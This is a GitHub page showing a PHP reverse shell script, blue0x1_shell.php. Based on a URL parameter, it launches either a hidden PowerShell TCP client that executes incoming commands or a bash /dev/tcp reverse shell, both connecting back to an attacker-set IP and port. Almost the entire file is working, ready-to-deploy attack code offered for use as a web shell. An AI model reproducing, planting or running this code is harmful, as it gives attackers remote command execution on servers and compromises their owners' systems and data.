-
Notifications
You must be signed in to change notification settings - Fork 0
/
Copy pathblue0x1_shell.php
25 lines (20 loc) · 1.03 KB
/
blue0x1_shell.php
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
<?php
/*
* PHP Reverse Shell (Windows/Linux)
*
* Created in October 2024 by Chokri Hammedi (blue0x1)
* GitHub: https://github.com/blue0x1
*/
$ip = '127.0.0.1'; // Set your IP
$port = 4444; // Set your port
$os = isset($_GET['os']) ? $_GET['os'] : '';
if ($os === 'windows') {
$cmd = "powershell -NoP -NonI -W Hidden -Command \"\$client = New-Object System.Net.Sockets.TCPClient('$ip', $port); \$stream = \$client.GetStream(); [byte[]] \$bytes = 0..65535|%{0}; while((\$i = \$stream.Read(\$bytes, 0, \$bytes.Length)) -ne 0){\$data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString(\$bytes, 0, \$i); \$sendback = (iex \$data 2>&1 | Out-String); \$sendback2 = \$sendback + 'PS ' + (pwd).Path + '> '; \$sendbyte = ([text.encoding]::ASCII).GetBytes(\$sendback2); \$stream.Write(\$sendbyte, 0, \$sendbyte.Length); \$stream.Flush()}\"";
system($cmd);
} elseif ($os === 'linux') {
$cmd = "/bin/bash -c 'bash -i >& /dev/tcp/$ip/$port 0>&1'";
system($cmd);
} else {
echo "Specify ?os=windows or ?os=linux";
}
?>